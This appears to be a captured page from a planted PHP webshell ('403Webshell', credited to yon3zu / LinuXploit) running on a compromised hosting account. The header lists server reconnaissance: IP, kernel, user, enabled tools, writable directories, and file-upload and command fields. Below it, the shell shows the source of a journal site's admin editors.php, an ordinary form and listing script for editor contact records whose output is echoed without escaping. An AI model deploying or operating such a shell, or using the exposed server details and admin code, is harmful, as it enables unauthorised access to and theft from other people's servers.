403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/jyotishajournal/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/jyotishajournal/admin/editors.php
<?php
if(($opt1) && ($opt1 === 'add' || $opt1 === 'settings') || ($opt1 === 'edit' || $opt1 === 'view')):
	if(($opt1 === 'edit' || $opt1 === 'view')):
		$stmt = $mysqli->prepare("SELECT $firstcol, category, subcategory, name, degree, post, content, email, emailshow, phone, phoneshow, picture, catsortnumber, sortnumber, status, mailstatus, certificatemailstatus, creation FROM $table WHERE $firstcol = ? LIMIT 1") or die($mysqli->error);
		$stmt->bind_param('i', $opt2);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->bind_result($id, $category, $subcategory, $name, $degree, $post, $content, $email, $emailshow, $phone, $phoneshow, $picture, $catsortnumber, $sortnumber, $status, $mailstatus, $certificatemailstatus, $creation);
		$stmt->fetch();
		$stmt->close();
		if($count_rows !== 1):
			die('Invalid data selection.');
		endif;

		$delete = delete($id);

		if(($picture && file_exists($editorsuploadpath . $picture))):
			$picture = '<img src="'.$editorsdir.$picture.'" alt="'.$name.'" class="image-round" />';
			$attr = 'onclick="dopost(\'removepic\', \''.$id.'\', \'Do you really want to remove this picture?\')"';
			$remove = '<button type="button" style="float:right;margin:7px 0px 0px" ' . $attr . '>Remove</button>';
		else:
			$picture = '<img src="'.$imageurl.'avatar_2x.png" alt="'.$name.'" class="image-round" />';
			$remove = '';
		endif;

		$creation = dateformat($creation, true);
	else:
		$id = '';$category = '';$name = '';$degree = '';$post = '';$content = '';$email = '';$phone = '';$picture = '';$catsortnumber = '';$sortnumber = '';$status = 'enabled';
	endif;

	if($opt1 === 'view'):
echo <<<EOJ
		<div class="head">
			{$back}{$delete}
			<input type="button" value="edit" class="action" onclick="gourl('edit/{$id}')" />
		</div>
		<table border="0" cellpadding="0" cellspacing="0" class="table view">
			<tbody>
			<tr><th>Data ID</th><td>&num;{$id}</td>
			<tr><th>Category</th><td>{$category}</td>
			<tr><th>Sub Category</th><td>{$subcategory}</td>
			<tr><th>Full Name</th><td>{$name}</td>
			<tr><th>Degree</th><td>{$degree}</td>
			<tr><th>Post</th><td>{$post}</td>
			<tr><th>Email ID</th><td>{$email}</td>
			<tr><th>Phone</th><td>{$phone}</td>
			<tr><th>Content</th><td>{$content}</td>
			<tr><th>Picture</th><td>{$picture}{$remove}</td>
			<tr><th>Categroy Sort Number</th><td>{$catsortnumber}</td>
			<tr><th>Sort Number</th><td>{$sortnumber}</td>
			<tr><th>Status</th><td>{$status}</td>
			<tr><th>Mail Status</th><td>{$mailstatus}</td>
			<tr><th>Certificate Mail status</th><td>{$certificatemailstatus}</td>
			<tr><th>Creation</th><td>{$creation}</td>
			</tr>
			</tbody>
		</table>
EOJ;
	elseif(($opt1 === 'add' || $opt1 === 'edit')):
		function category_list(){
			global $mysqli, $table;
			$list = '';
			$stmt = $mysqli->prepare("SELECT TRIM(category) FROM $table GROUP BY TRIM(category) ORDER BY TRIM(category) ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->bind_result($category);
			while($stmt->fetch()):
				$list .= ($category) ? '<option value="' . $category . '">' . $category . '</option>' : '';
			endwhile;
			$stmt->close();
			return $list;
		}
		$category_list = category_list();
		function subcategory_list(){
			global $mysqli, $table;
			$list = '';
			$stmt = $mysqli->prepare("SELECT TRIM(subcategory) FROM $table GROUP BY TRIM(subcategory) ORDER BY TRIM(subcategory) ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->bind_result($subcategory);
			while($stmt->fetch()):
				$list .= ($subcategory) ? '<option value="' . $subcategory . '">' . $subcategory . '</option>' : '';
			endwhile;
			$stmt->close();
			return $list;
		}
		$subcategory_list = subcategory_list();
		if($opt1 === 'edit'):
			$echecked = ($emailshow == 'Y') ? 'checked="checked"' : '';
			$pchecked = ($phoneshow == 'Y') ? 'checked="checked"' : '';
		else:
			$echecked = 'checked="checked"';
			$pchecked = 'checked="checked"';
		endif;
		$checked = ($opt1 == 'add') ? 'checked="checked"' : '';
		$status = ($status == 'enabled') ? 'checked="checked"' : '';
echo <<<EOJ
		<input type="hidden" name="dataid" value="{$id}" readonly="readonly" />
		<div class="head">
			{$back}
			<input type="reset" value="reset" class="action" />
			<input type="submit" value="submit" class="action b button" />
		</div>
		<div class="body">
			<div class="row">
				<div class="fl">
					<div class="fl">
						<label class="flbl">Category :<span class="fr">*</span></label>
						<input type="text" name="category" value="{$category}" class="field" />
					</div>
					<div class="fr">
						<label class="flbl">Category List :</label>
						<select name="category_list" class="field field-select" onchange="this.form.category.value=this.value;" style="width:60%">
							<option value="" selected="selected">Select Category</option>
							{$category_list}
						</select>
						<div class="rw" style="float:right;margin:0px"><label><input type="checkbox" name="applytoall" value="Y" />apply to all</label></div>
					</div>
				</div>
				<div class="fr">
					<div class="fl">
						<label class="flbl">Sub Category :</label>
						<input type="text" name="subcategory" value="{$subcategory}" class="field" />
					</div>
					<div class="fr">
						<label class="flbl">Sub Category List :</label>
						<select name="subcategory_list" class="field field-select" onchange="this.form.subcategory.value=this.value;">
							<option value="" selected="selected">Select Sub Category</option>
							{$subcategory_list}
						</select>
					</div>
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Editor Name :<span class="fr">*</span></label>
					<input type="text" name="name" value="{$name}" class="field" />
				</div>
				<div class="fr">
					<label class="flbl">Post :</label>
					<input type="text" name="post" value="{$post}" class="field" />
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Degree :</label>
					<input type="text" name="degree" value="{$degree}" class="field" />
				</div>
				<div class="fr">
					<label class="flbl">Content :<span class="fr">*</span></label>
					<input type="text" name="content" value="{$content}" class="field" />
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Email <small>(Multiple emails should be seperate by comma)</small>:</label>
					<input type="text" name="email" value="{$email}" class="field" style="width:86%" />
					<div class="rw" style="float:right;margin:0px"><label><input type="checkbox" name="emailshow" value="Y" {$echecked} />show</label></div>
				</div>
				<div class="fr">
					<label class="flbl">Phone <small>(Multiple phone numbers should be seperate by comma)</small>:</label>
					<input type="text" name="phone" value="{$phone}" class="field phone" style="width:86%" onkeypress="return valphone(this,event)" />
					<div class="rw" style="float:right;margin:0px"><label><input type="checkbox" name="phoneshow" value="Y" {$pchecked} />show</label></div>
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Picture :</label>
					<input type="file" name="picture" class="field field-file lg" />
				</div>
				<div class="fr">
					<div class="row">
						<label class="flbl">Category Sort Number :</label>
						<input type="text" name="catsort" value="{$catsortnumber}" maxlength="6" class="field digit" onpaste="return false" />
					</div>
					<div class="row">
						<label class="flbl">Sort Number :</label>
						<input type="text" name="sort" value="{$sortnumber}" maxlength="6" class="field digit" onpaste="return false" />
					</div>
					<div class="row">
						<div class="rw">
							<label><input type="checkbox" name="sendsms" value="Y" {$checked} />send sms</label>
						</div>
						<div class="rw">
							<label><input type="checkbox" name="sendemail" value="Y" {$checked} />send email</label>
						</div>
						<div class="rw">
							<label><input type="checkbox" name="certificate" value="Y" {$checked} onclick="if(this.checked)this.form.sendemail.checked=true;" />send certificate</label>
						</div>
						<div class="rw">
							<label><input type="checkbox" name="status" value="enabled" {$status} />status</label>
						</div>
					</div>
				</div>
			</div>
		</div>
EOJ;
	elseif($opt1 === 'settings'):
echo <<<EOJ
		<div class="head">
			<input type="button" value="" class="action ico back" onclick="history.back()" />
			<input type="submit" value="submit" class="action b" onclick="setopt(this, 'settings')" />
		</div>
		<div class="body">
			<div class="row">
				<div class="rw" style="margin-top:0px">
					<label style="padding:0px 4px 0px 10px"><input type="radio" name="mode" value="email" /></label>
					<label><input type="checkbox" name="emailshow" value="Y" onclick="this.form.mode[0].checked=true" onchange="this.form.mode[0].checked=true" />show all emails</label>
				</div>
				<div class="rw" style="margin-top:0px">
					<label style="padding:0px 4px 0px 10px"><input type="radio" name="mode" value="phone" /></label>
					<label><input type="checkbox" name="phoneshow" value="Y" onclick="this.form.mode[1].checked=true" onchange="this.form.mode[1].checked=true" />show all phones</label>
				</div>
				<div class="rw" style="margin-top:0px">
					<label style="padding:0px 4px 0px 10px"><input type="radio" name="mode" value="status" /></label>
					<label><input type="checkbox" name="status" value="enabled" onclick="this.form.mode[2].checked=true" onchange="this.form.mode[2].checked=true" />change status</label>
				</div>
			</div>
		</div>
EOJ;
	else:
		echo 'Invalid option selection.';
	endif;
else:
	$keyword = "%$keyword%";
	if($opt1 === 'search'):
		$stmt = $mysqli->prepare("SELECT * FROM $table WHERE (name LIKE ? OR degree LIKE ? OR post LIKE ? OR content LIKE ? OR email LIKE ? OR phone LIKE ?)") or die($mysqli->error);
		$stmt->bind_param('ssssss', $keyword, $keyword, $keyword, $keyword, $keyword, $keyword);
		$stmt->execute();
		$stmt->store_result();
		$total_rows = $stmt->num_rows();
		$stmt->close();
	else:
		$stmt = $mysqli->prepare("SELECT * FROM $table") or die($mysqli->error);
		$stmt->execute();
		$stmt->store_result();
		$total_rows = $stmt->num_rows();
		$stmt->close();
	endif;
echo <<<EOJ
	<div class="head">
		<input type="button" value="create new" class="action g" onclick="gourl('add')" />
		<input type="submit" value="" class="action ico delete hidden" onclick="setopt(this, 'delete', 'Do you really want to delete?')" />
		<input type="submit" value="certificate" class="action hidden" onclick="setopt(this, 'certificate')" />
		<input type="submit" value="download emails" class="action" onclick="setopt(this, 'downloademails')" />
		<input type="submit" value="save changes" class="action b hidden" onclick="setopt(this, 'savechanges')" />
		<input type="button" value="" class="action ico settings" onclick="gourl('settings')" />
		<div class="fr"><b>Total Rows : {$total_rows}</b></div>
	</div>
	<table border="0" cellpadding="0" cellspacing="0" class="table">
		<thead>
		<tr>
		<th align="center" valign="middle" class="xs"><input type="checkbox" name="select_all" id="select_all" value=""/></th>
		<th align="center" valign="middle" class="xs">s. no.</th>
		<th align="center" valign="middle" class="xs">picture</th>
		<th align="left" valign="middle" style="width:120px">category</th>
		<th align="left" valign="middle">editor name</th>
		<th align="left" valign="middle">email</th>
		<th align="left" valign="middle">phone</th>
		<th align="center" valign="middle" style="width:60px">c. sort</th>
		<th align="center" valign="middle" class="xs">sort</th>
		<th align="center" valign="middle" class="sm">status</th>
		<th align="right" valign="middle" class="md">creation</th>
		<th align="center" valign="middle" class="sm">action</th>
		</tr>
		</thead>
		<tbody>
EOJ;
		if($opt1 === 'search'):
			$stmt = $mysqli->prepare("SELECT $firstcol, category, name, email, phone, picture, catsortnumber, sortnumber, status, creation FROM $table WHERE (name LIKE ? OR degree LIKE ? OR post LIKE ? OR content LIKE ? OR email LIKE ? OR phone LIKE ?) ORDER BY catsortnumber ASC, sortnumber ASC") or die($mysqli->error);
			$stmt->bind_param('ssssss', $keyword, $keyword, $keyword, $keyword, $keyword, $keyword);
		else:
			$stmt = $mysqli->prepare("SELECT $firstcol, category, name, email, phone, picture, catsortnumber, sortnumber, status, creation FROM $table ORDER BY catsortnumber ASC, sortnumber ASC") or die($mysqli->error);
		endif;
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($id, $category, $name, $email, $phone, $picture, $catsortnumber, $sortnumber, $status, $creation);
			while($stmt->fetch()):
				$snum = ($page_number == 1) ? $snum + 1 : $page_position++ + 1;
				if(($picture && file_exists($editorsuploadpath . $picture))):
					$picwrap  = '<div class="image-wrap">';
					$picwrap .= '<img src="'.$editorsdir.$picture.'" alt="'.$name.'" class="image-round" />';
					$picwrap .= '<input type="button" onclick="dopost(\'removepic\', \''.$id.'\', \'Do you really want to remove this picture?\')" />';
					$picwrap .= '</div>';
				else:
					$picwrap = '<img src="'.$imageurl.'avatar_2x.png" alt="'.$name.'" class="image-round" />';
				endif;
				$stat = ($status == 'enabled') ? 'disabled' : 'enabled';
				$mailbutton = ($email) ? '<button type="button" onclick="compose(\'.emf\', \''.$email.'\')">mail</button><br>' : '';
				$creation = dateformat($creation);
echo <<<EOJ
				<tr>
				<td align="center" valign="middle"><input type="checkbox" name="dataid[]" value="{$id}" class="checkbox" /></td>
				<td align="center" valign="middle">{$snum}</td>
				<td align="center" valign="middle">{$picwrap}</td>
				<td align="left" valign="middle">{$category}</td>
				<td align="left" valign="middle">
					<input type="text" name="name[$id]" value="{$name}" class="field noborder" onfocus="checkbox(this)" onkeypress="return (event.keyCode!=13)" />
				</td>
				<td align="left" valign="middle">
					<input type="text" name="email[$id]" value="{$email}" class="field noborder" onfocus="checkbox(this)" onkeypress="return (event.keyCode!=13)" />
				</td>
				<td align="left" valign="middle">
					<input type="text" name="phone[$id]" value="{$phone}" class="field noborder" onfocus="checkbox(this)" onkeypress="return (event.keyCode!=13)" />
				</td>
				<td align="center" valign="middle">{$catsortnumber}</td>
				<td align="center" valign="middle">{$sortnumber}</td>
				<td align="center" valign="middle"><button type="button" class="{$status}" onclick="dopost('{$stat}', '{$id}')">{$status}</button></td>
				<td align="right" valign="middle">{$creation}</td>
				<td align="center" valign="middle">
					{$mailbutton}
					<button type="button" onclick="gourl('view/{$id}')">view</button>
					<button type="button" onclick="gourl('edit/{$id}')">edit</button>
				</form>
				</td>
				</tr>
EOJ;
			endwhile;
			$stmt->close();
		else:
			echo '<tr><td align="center" valign="middle" colspan="12">' . $emptyrows . '</td></tr>';
		endif;
	echo '</tbody>';
	echo '</table>';
endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit